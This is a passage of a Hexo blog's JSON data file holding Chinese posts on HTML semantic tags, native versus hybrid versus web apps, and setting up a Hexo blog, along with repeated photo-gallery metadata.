。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"div\"><a href=\"#div\" class=\"headerlink\" title=\"div\"></a>div</h2><p>div在html早期版本就支持了，section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化，三者并无区别。</p>\n<h2 id=\"section\"><a href=\"#section\" class=\"headerlink\" title=\"section\"></a>section</h2><p>作为语义化标签，section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说，当元素内容明确地出现在文档大纲中时，section 就是适用的。</p>\n<h2 id=\"article\"><a href=\"#article\" class=\"headerlink\" title=\"article\"></a>article</h2><p>对于article标签来说，无论从结构上还是内容上来说，article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境，是否还是完整的、独立的，如果是，则应该用article标签。</p>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><blockquote>\n<p>合理的语义化标签，可以更好的方便seo，也不知道为什么，我现在更喜欢细节的东西</p>\n</blockquote>\n<p>div &lt; section &lt; article ，语义是从无到有，逐渐增强的。div 无任何语义，仅仅用作样式化或者脚本化，对于一段主题性的内容，则就适用 section，而假如这段内容可以脱离上下文，作为完整的独立存在的一段内容，则就适用 article。原则上来说，能使用 article 的时候，也是可以使用 section 的，但是实际上，假如使用 article 更合适，那么就不要使用 section 。</p>\n"},{"title":"hybird","date":"2017-10-11T08:56:01.000Z","_content":"\n### app分为几类？\n* native：语言object-c，java，页面存放在本地\n* hybird：语言object-c + html，受限于UIview\n* web：语言html，页面放在服务器，受限于UIview\n\n### native APP\n#### 优点\n* 运行效率高\n* 可调用各种设备资源\n\n#### 缺点\n* 人力资源成本高\n* 发布速度慢\n* 更新版本的问题\n* 实现图文混排很多坑\n\n### web APP\n#### 优点\n* 开发成本低\n* 使用范围广\n* 方便快捷部署，不需要安装\n* 用户总能访问最新的，迭代更容易\n* 可被搜索引擎搜索带来流量\n\n#### 缺点\n* 体验短期无法超越 native\n* 不支持离线模式\n* 消息推送不及时\n* 调用本地文件系统能力较弱\n* 较差和较慢的性能体验\n* 支持图形和动画效果较差\n* 不适用于应用商店盈利\n* 限制用户功能（gps，相机等）\n\n### hybird APP\n#### 优点\n* 综合开发效率\n* 发版本更方便\n\n#### 缺点\n* 运行效率中等\n* 需要一点原生代码\n\n","source":"_posts/hybird.md","raw":"---\ntitle: hybird\ndate: 2017-10-11 16:56:01\ntags: [hybird]\ncategories: APP\n---\n\n### app分为几类？\n* native：语言object-c，java，页面存放在本地\n* hybird：语言object-c + html，受限于UIview\n* web：语言html，页面放在服务器，受限于UIview\n\n### native APP\n#### 优点\n* 运行效率高\n* 可调用各种设备资源\n\n#### 缺点\n* 人力资源成本高\n* 发布速度慢\n* 更新版本的问题\n* 实现图文混排很多坑\n\n### web APP\n#### 优点\n* 开发成本低\n* 使用范围广\n* 方便快捷部署，不需要安装\n* 用户总能访问最新的，迭代更容易\n* 可被搜索引擎搜索带来流量\n\n#### 缺点\n* 体验短期无法超越 native\n* 不支持离线模式\n* 消息推送不及时\n* 调用本地文件系统能力较弱\n* 较差和较慢的性能体验\n* 支持图形和动画效果较差\n* 不适用于应用商店盈利\n* 限制用户功能（gps，相机等）\n\n### hybird APP\n#### 优点\n* 综合开发效率\n* 发版本更方便\n\n#### 缺点\n* 运行效率中等\n* 需要一点原生代码\n\n","slug":"hybird","published":1,"updated":"2018-01-22T06:03:39.371Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4v000svzqhfc2d8xql","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"app分为几类？\"><a href=\"#app分为几类？\" class=\"headerlink\" title=\"app分为几类？\"></a>app分为几类？</h3><ul>\n<li>native：语言object-c，java，页面存放在本地</li>\n<li>hybird：语言object-c + html，受限于UIview</li>\n<li>web：语言html，页面放在服务器，受限于UIview</li>\n</ul>\n<h3 id=\"native-APP\"><a href=\"#native-APP\" class=\"headerlink\" title=\"native APP\"></a>native APP</h3><h4 id=\"优点\"><a href=\"#优点\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ul>\n<li>运行效率高</li>\n<li>可调用各种设备资源</li>\n</ul>\n<h4 id=\"缺点\"><a href=\"#缺点\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><ul>\n<li>人力资源成本高</li>\n<li>发布速度慢</li>\n<li>更新版本的问题</li>\n<li>实现图文混排很多坑</li>\n</ul>\n<h3 id=\"web-APP\"><a href=\"#web-APP\" class=\"headerlink\" title=\"web APP\"></a>web APP</h3><h4 id=\"优点-1\"><a href=\"#优点-1\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ul>\n<li>开发成本低</li>\n<li>使用范围广</li>\n<li>方便快捷部署，不需要安装</li>\n<li>用户总能访问最新的，迭代更容易</li>\n<li>可被搜索引擎搜索带来流量</li>\n</ul>\n<h4 id=\"缺点-1\"><a href=\"#缺点-1\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><ul>\n<li>体验短期无法超越 native</li>\n<li>不支持离线模式</li>\n<li>消息推送不及时</li>\n<li>调用本地文件系统能力较弱</li>\n<li>较差和较慢的性能体验</li>\n<li>支持图形和动画效果较差</li>\n<li>不适用于应用商店盈利</li>\n<li>限制用户功能（gps，相机等）</li>\n</ul>\n<h3 id=\"hybird-APP\"><a href=\"#hybird-APP\" class=\"headerlink\" title=\"hybird APP\"></a>hybird APP</h3><h4 id=\"优点-2\"><a href=\"#优点-2\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ul>\n<li>综合开发效率</li>\n<li>发版本更方便</li>\n</ul>\n<h4 id=\"缺点-2\"><a href=\"#缺点-2\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><ul>\n<li>运行效率中等</li>\n<li>需要一点原生代码</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"app分为几类？\"><a href=\"#app分为几类？\" class=\"headerlink\" title=\"app分为几类？\"></a>app分为几类？</h3><ul>\n<li>native：语言object-c，java，页面存放在本地</li>\n<li>hybird：语言object-c + html，受限于UIview</li>\n<li>web：语言html，页面放在服务器，受限于UIview</li>\n</ul>\n<h3 id=\"native-APP\"><a href=\"#native-APP\" class=\"headerlink\" title=\"native APP\"></a>native APP</h3><h4 id=\"优点\"><a href=\"#优点\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ul>\n<li>运行效率高</li>\n<li>可调用各种设备资源</li>\n</ul>\n<h4 id=\"缺点\"><a href=\"#缺点\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><ul>\n<li>人力资源成本高</li>\n<li>发布速度慢</li>\n<li>更新版本的问题</li>\n<li>实现图文混排很多坑</li>\n</ul>\n<h3 id=\"web-APP\"><a href=\"#web-APP\" class=\"headerlink\" title=\"web APP\"></a>web APP</h3><h4 id=\"优点-1\"><a href=\"#优点-1\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ul>\n<li>开发成本低</li>\n<li>使用范围广</li>\n<li>方便快捷部署，不需要安装</li>\n<li>用户总能访问最新的，迭代更容易</li>\n<li>可被搜索引擎搜索带来流量</li>\n</ul>\n<h4 id=\"缺点-1\"><a href=\"#缺点-1\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><ul>\n<li>体验短期无法超越 native</li>\n<li>不支持离线模式</li>\n<li>消息推送不及时</li>\n<li>调用本地文件系统能力较弱</li>\n<li>较差和较慢的性能体验</li>\n<li>支持图形和动画效果较差</li>\n<li>不适用于应用商店盈利</li>\n<li>限制用户功能（gps，相机等）</li>\n</ul>\n<h3 id=\"hybird-APP\"><a href=\"#hybird-APP\" class=\"headerlink\" title=\"hybird APP\"></a>hybird APP</h3><h4 id=\"优点-2\"><a href=\"#优点-2\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ul>\n<li>综合开发效率</li>\n<li>发版本更方便</li>\n</ul>\n<h4 id=\"缺点-2\"><a href=\"#缺点-2\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><ul>\n<li>运行效率中等</li>\n<li>需要一点原生代码</li>\n</ul>\n"},{"title":"hexo 搭建博客初体验","_content":"\n# hexo 搭建博客初体验\n\n## 安装 hexo\n```\n> cnpm i hexo-cli -g\n报错的话就输入\n> cnpm i hexo --save\n查看安装是否成功\n> hexo -v\n```\n\n## hexo配置\n\n### hexo 初始化\n```\n> hexo init\n然后\n> cnpm install\n到这里你差不多就可以看到效果了，如果你要连接 GitHub，就要往下继续 \n```\n\n### 连接 GitHub\n在根目录打开 vim _config.yml，翻到最下面，改成我这样子的\n* 如果你是用 github 仓库 \n> deploy: \n    type: git\n    repo: https://git.coding.net/jzxer/jzxer.git\n    branch: master\n* 如果你是用 coding 仓库\n> deploy:\n    type: coding\n    repo: https://github.com/j710328466/j710328466.github.io.git\n    branch: master\n\n### 安装依赖包\n```\n> npm install hexo-deployer-git --save\n```\n\n## 开始\n\n```\n创建一篇新文章\n$ hexo new \"My New Post\"\n\n监听\n$ hexo server\n\n打包\n$ hexo generate\n\n上传\n$ hexo deploy\n```\n\n## 主题配置\n\n* 打开根目录下的vim _config.yml\n> theme: material\n> 将主题改成你喜欢的\n\n## 主题推荐\n\n每个不同的主题会需要不同的配置，主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。\n\n### Yilia\nYilia 是为 hexo 2.4+ 制作的主题。 \n崇尚简约优雅，以及极致的性能。\n\n### NexT\n目前Github上Star最高的Hexo主题，支持几种不同的风格。 \n作者提供了非常完善的配置说明。\n\n### Material\n原之质，物之渊\n就是我现在用的这款，简洁大方，响应式设计。","source":"_posts/hexo搭建博客.md","raw":"---\ntitle: hexo 搭建博客初体验\ntags: [hexo]\ncategories: 博客搭建\n---\n\n# hexo 搭建博客初体验\n\n## 安装 hexo\n```\n> cnpm i hexo-cli -g\n报错的话就输入\n> cnpm i hexo --save\n查看安装是否成功\n> hexo -v\n```\n\n## hexo配置\n\n### hexo 初始化\n```\n> hexo init\n然后\n> cnpm install\n到这里你差不多就可以看到效果了，如果你要连接 GitHub，就要往下继续 \n```\n\n### 连接 GitHub\n在根目录打开 vim _config.yml，翻到最下面，改成我这样子的\n* 如果你是用 github 仓库 \n> deploy: \n    type: git\n    repo: https://git.coding.net/jzxer/jzxer.git\n    branch: master\n* 如果你是用 coding 仓库\n> deploy:\n    type: coding\n    repo: https://github.com/j710328466/j710328466.github.io.git\n    branch: master\n\n### 安装依赖包\n```\n> npm install hexo-deployer-git --save\n```\n\n## 开始\n\n```\n创建一篇新文章\n$ hexo new \"My New Post\"\n\n监听\n$ hexo server\n\n打包\n$ hexo generate\n\n上传\n$ hexo deploy\n```\n\n## 主题配置\n\n* 打开根目录下的vim _config.yml\n> theme: material\n> 将主题改成你喜欢的\n\n## 主题推荐\n\n每个不同的主题会需要不同的配置，主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。\n\n### Yilia\nYilia 是为 hexo 2.4+ 制作的主题。 \n崇尚简约优雅，以及极致的性能。\n\n### NexT\n目前Github上Star最高的Hexo主题，支持几种不同的风格。 \n作者提供了非常完善的配置说明。\n\n### Material\n原之质，物之渊\n就是我现在用的这款，简洁大方，响应式设计。","slug":"hexo搭建博客","published":1,"date":"2017-06-16T05:04:04.000Z","updated":"2018-01-22T03:54:45.089Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4x000wvzqh5wsdc0fp","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"hexo-搭建博客初体验\"><a href=\"#hexo-搭建博客初体验\" class=\"headerlink\" title=\"hexo 搭建博客初体验\"></a>hexo 搭建博客初体验</h1><h2 id=\"安装-hexo\"><a href=\"#安装-hexo\" class=\"headerlink\" title=\"安装 hexo\"></a>安装 hexo</h2><pre><code>&gt; cnpm i hexo-cli -g\n报错的话就输入\n&gt; cnpm i hexo --save\n查看安装是否成功\n&gt; hexo -v\n</code></pre><h2 id=\"hexo配置\"><a href=\"#hexo配置\" class=\"headerlink\" title=\"hexo配置\"></a>hexo配置</h2><h3 id=\"hexo-初始化\"><a href=\"#hexo-初始化\" class=\"headerlink\" title=\"hexo 初始化\"></a>hexo 初始化</h3><pre><code>&gt; hexo init\n然后\n&gt; cnpm install\n到这里你差不多就可以看到效果了，如果你要连接 GitHub，就要往下继续 \n</code></pre><h3 id=\"连接-GitHub\"><a href=\"#连接-GitHub\" class=\"headerlink\" title=\"连接 GitHub\"></a>连接 GitHub</h3><p>在根目录打开 vim _config.yml，翻到最下面，改成我这样子的</p>\n<ul>\n<li>如果你是用 github 仓库 <blockquote>\n<p>deploy:<br>  type: git<br>  repo: <a href=\"https://git.coding.net/jzxer/jzxer.git\" target=\"_blank\" rel=\"noopener\">https://git.coding.net/jzxer/jzxer.git</a><br>  branch: master</p>\n</blockquote>\n</li>\n<li>如果你是用 coding 仓库<blockquote>\n<p>deploy:<br>  type: coding<br>  repo: <a href=\"https://github.com/j710328466/j710328466.github.io.git\" target=\"_blank\" rel=\"noopener\">https://github.com/j710328466/j710328466.github.io.git</a><br>  branch: master</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"安装依赖包\"><a href=\"#安装依赖包\" class=\"headerlink\" title=\"安装依赖包\"></a>安装依赖包</h3><pre><code>&gt; npm install hexo-deployer-git --save\n</code></pre><h2 id=\"开始\"><a href=\"#开始\" class=\"headerlink\" title=\"开始\"></a>开始</h2><pre><code>创建一篇新文章\n$ hexo new &quot;My New Post&quot;\n\n监听\n$ hexo server\n\n打包\n$ hexo generate\n\n上传\n$ hexo deploy\n</code></pre><h2 id=\"主题配置\"><a href=\"#主题配置\" class=\"headerlink\" title=\"主题配置\"></a>主题配置</h2><ul>\n<li>打开根目录下的vim _config.yml<blockquote>\n<p>theme: material<br>将主题改成你喜欢的</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"主题推荐\"><a href=\"#主题推荐\" class=\"headerlink\" title=\"主题推荐\"></a>主题推荐</h2><p>每个不同的主题会需要不同的配置，主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。</p>\n<h3 id=\"Yilia\"><a href=\"#Yilia\" class=\"headerlink\" title=\"Yilia\"></a>Yilia</h3><p>Yilia 是为 hexo 2.4+ 制作的主题。<br>崇尚简约优雅，以及极致的性能。</p>\n<h3 id=\"NexT\"><a href=\"#NexT\" class=\"headerlink\" title=\"NexT\"></a>NexT</h3><p>目前Github上Star最高的Hexo主题，支持几种不同的风格。<br>作者提供了非常完善的配置说明。</p>\n<h3 id=\"Material\"><a href=\"#Material\" class=\"headerlink\" title=\"Material\"></a>Material</h3><p>原之质，物之渊<br>就是我现在用的这款，简洁大方，响应式设计。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/